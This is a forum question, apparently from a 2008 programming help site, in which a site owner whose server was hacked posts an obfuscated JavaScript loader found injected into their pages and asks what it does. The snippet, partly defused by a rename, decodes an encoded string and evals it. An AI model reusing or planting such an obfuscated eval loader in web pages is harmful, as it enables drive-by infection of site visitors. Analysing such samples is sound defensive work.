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08.18.2008 at 11:00AM PDT, ID: 23657174
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9.3

What does this JavaScript script do?

Asked by cchs2 in JScript

Tags:

Our server was hacked. We had some malware installed and it appears that the following script is to blame. Can any of you Javascript gurus decode this easily and tell me what it does? I'd like to know what to tell visitors to our site what they need to do to clean up their systems, if anything. Thanks!

WARNING! Bad code attached! I changed the name of the function from ezdban to ezdbanDONOTRUN, so the code would not be run accidentally.Start Free Trial 
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)"><script language=JavaScript>function ezdbanDONOTRUN!(x){var 
 
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,29,21,6,10,60,53,52,30,11,0,0,0,0,0,0,45,25,28,22,56,58,47,23,31,54,18,1,
 
24,27,55,59,17,36,40,35,37,4,5,26,50,20,46,0,0,0,0,44,0,8,15,62,43,7,33,61,3,57,12,41,48,13,19,9,39,0,38,16,49,51,14,34,
 
42,32,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=S
 
tring.fromCharCode(200^w&255);w>>=8;s-=2}else{s=6}}}eval(r);}}ezdban('03xk_8EFrF9FkXMFOC0Oj8xk@cc5_8ExgCWdrXdi0xMR5I4DFn
 
HRZxMxTI4ErrWk@CFdEuFcRFdZdCFEyX9FD40ipFbZfcEZrexkZ8Ei58cgFb8fkX9RrdOkgW4dyGLx5zxiErxk_8WkyeZDgpb55ecDFOxc5d0OS0ZER0MR_X
 
9R6pF0ESvR@3EdyXMgOdbEOXM_QIWgxuWROw9kk3d5r8xk@xZg7H8RZxMxTIxgFev')</script>
[+][-]08.18.2008 at 07:42PM PDT, ID: 22256928

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About this solution

Zone: JScript
Tags: What does this JavaScript script do?
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Solution Provided By: GERENTE
Participating Experts: 1
Solution Grade: A
 
 
 
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